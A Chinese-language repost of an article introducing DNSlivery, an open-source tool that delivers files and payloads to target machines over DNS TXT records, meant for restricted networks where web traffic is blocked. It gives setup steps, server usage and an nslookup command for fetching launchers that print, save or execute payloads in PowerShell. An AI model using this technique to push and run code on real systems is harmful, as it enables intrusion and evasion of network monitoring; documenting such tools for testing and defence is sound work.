<button id="ei02c"><ol id="ei02c"></ol></button>
            1. <div id="ei02c"></div>

                    1. 安基網 首頁 安全 安全學院 查看內容

                      DNSlivery:利用DNS協議投遞文件和Payload

                      2019-3-9 11:26| 投稿: xiaotiger |來自: 互聯網


                      免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

                      摘要: DNSlivery項目允許通過DNS協議將文件和Payload投遞到目標上。該項目最初的靈感來自于PowerDNS和Joff Thyer發布在Paul每周安全播客#590的技術片段。特性允許打印,執行或保存文件到目標不需要目標上的任何客戶端不需要完整的DNS服務器DNSlivery可以輕松地將文件/payload傳送到目標機器,且不需要目標上 ...

                      DNSlivery項目允許通過DNS協議將文件和Payload投遞到目標上。該項目最初的靈感來自于PowerDNS和Joff Thyer發布在Paul每周安全播客#590的技術片段。

                      特性

                      允許打印,執行或保存文件到目標

                      不需要目標上的任何客戶端

                      不需要完整的DNS服務器

                      DNSlivery可以輕松地將文件/payload傳送到目標機器,且不需要目標上安裝運行任何專用的客戶端軟件,這是web delivery無法做到的地方。這非常適用于禁止傳出Web流量或僅通過網絡代理進行檢查的受限環境。

                      即使已存在更為完整的DNS隧道工具(如,dnscat2和iodine),它們都需要在目標上運行專用客戶端。問題是DNS可能并沒有辦法在這種受限的環境中提供客戶端。換句話說,使用這些工具構建DNS信道需要已建立DNS信道。

                      相比之下,DNSlivery僅提供從服務器到目標的單向通信,但不需要任何專用客戶端來執行此操作。因此,如果你需要通過DNS構建可靠的雙向信道,請使用DNSlivery投遞一個更高級的DNS隧道工具到你的目標。

                      工作原理

                      與大多數DNS隧道工具一樣,DNSlivery使用TXT記錄并以base64表示形式存儲文件內容。然而,它不需要設置完整的DNS服務器,它使用scapy庫來偵聽傳入的DNS數據包以及響應。

                      由于大多數文件不適合單個TXT記錄,DnsLivery將創建包含base64 chunk文件的多個有序記錄。作為一個例子,上圖說明了名為file的文件的第42個chunk的傳遞。

                      為了檢索所有base64 chunk并將它們重新組合在一起而不需要目標上的專用客戶端,DnsLivery將為每個文件生成:

                      一個簡單的明文 launcher

                      一個可靠的base64編碼stager

                      需要這兩個階段的投遞過程來向stager添加功能(s.a.處理丟失的DNS響應),否則這些功能將不適合單個TXT記錄。

                      關于目標兼容性

                      目前,僅支持PowerShell。但是,可以通過改進DNSlivery使其支持其他目標,如bash或python。如果這是你希望實現的功能,請告訴我@no0be。

                      安裝要求

                      DNSlivery不需要構建復雜的服務器架構。實際上,你只需滿足以下兩個簡單的要求即可:

                      能夠在你的公共DNS區域中創建NS記錄

                      擁有一臺能夠從Internet接收udp/53流量的Linux服務器

                      設置

                      DNS Zone

                      第一步是通過在域中創建新的NS記錄,將子域委派給將運行DNSlivery的服務器。例如,我創建了以下記錄,將子域dnsd.no0.be委派給服務器vps.no0.be.

                      dnsd IN NS vps.no0.be.
                      

                      如果你的區域由第三方提供商管理,請參閱其文檔以創建NS記錄。

                      DNSlivery

                      運行DNSlivery的唯一要求是python3及其scapy庫。

                      git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
                      pip install -r requirements.txt
                      

                      使用

                      Server

                      DNSlivery將提供給定目錄的所有文件(默認為pwd),并且需要以root權限運行以偵聽傳入的udp/53數據包。

                      usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
                      DNSlivery - Easy files and payloads delivery over DNS
                      positional arguments:
                       interface interface to listen to DNS traffic
                       domain FQDN name of the DNS zone
                       nameserver FQDN name of the server running DNSlivery
                      optional arguments:
                       -h, --help show this help message and exit
                       -p PATH, --path PATH path of directory to serve over DNS (default: pwd)
                       -s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
                       -v, --verbose increase verbosity
                      

                      示例:

                      $ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
                      DNSlivery - Easy files and payloads delivery over DNS
                      [*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
                      [*] Listening for DNS queries...
                      

                      關于文件名規范化

                      由于域名允許的字符集比UNIX文件名更具限制性(根據RFC1035),因此DNSlivery將在需要時執行規范化。

                      示例:

                      [*] File "My Awesome Powershell Script 
                       .ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
                      

                      注意,當前的規范化代碼并不完美,因為它不會考慮文件名重疊或大小限制。

                      Target

                      在目標上,首先通過請求其專用TXT記錄來檢索所需文件的launcher。支持以下三個launcher:

                      行為Launcher描述打印[filename].print.[domain](默認)將傳送的文件打印到控制臺執行[filename].exec.[domain]執行傳送的文件(對腳本有用)保存[filename].save.[domain]將傳送的文件保存到磁盤(對二進制文件很有用)

                      nslookup -type=txt [filename].[stager].[domain]
                      

                      然后,只需將DNS響應中引用的launcher復制并粘貼到PowerShell控制臺即可檢索目標上的文件。

                      示例:

                      *參考來源:GitHub,FB小編secist編譯,轉載請注明來自FreeBuf.COM



                      小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

                      本文出自:https://www.toutiao.com/a6666222004091224590/

                      免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


                      鮮花

                      握手

                      雷人

                      路過

                      雞蛋

                      相關閱讀

                      最新評論

                       最新
                      返回頂部
                      新疆11选5计算公式